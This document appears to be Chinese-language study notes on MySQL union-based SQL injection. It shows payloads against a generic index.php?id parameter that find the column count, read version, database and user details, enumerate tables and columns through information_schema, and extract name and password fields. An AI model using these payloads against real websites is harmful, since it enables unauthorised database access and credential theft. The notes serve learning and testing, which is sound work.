数据库名
表名
列名
数据
注入点存在条件:
可控变量,数据库查询
判断注入:
猜列名数量(字段数) order by
index.php?id=1 order by 4
报错拆解准备:
index.php?id=-1 union select 1,2,3,4
信息收集:
数据库版本:version()
高版本:使用名为information_schema数据库
低版本:暴力破解
数据库名字: database()
数据库用户: user()
操作系统: @@version_compile_os
查询指定数据库名ybb下的表名信息:
index.php?id=1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='ybb'
查询指定表名zq下的列名信息:
index.php?id=1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='zq'
查询指定数据:
index.php?id=1 union select 1,name,password,4 from zq
猜解多个数据可采用:limit x,1 变动猜解
知识点:
1.在mysql5.0以上版本中,mysql存在一个自带数据库名为information_schema,他是一个存储记录有所有数据库名,表名,列名的数据库,可以通过它获得指定数据库下面的表名或列名信息。
2.数据库中符号"."代表下一级,如xiao.user表示xiao数据库下的user表名
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名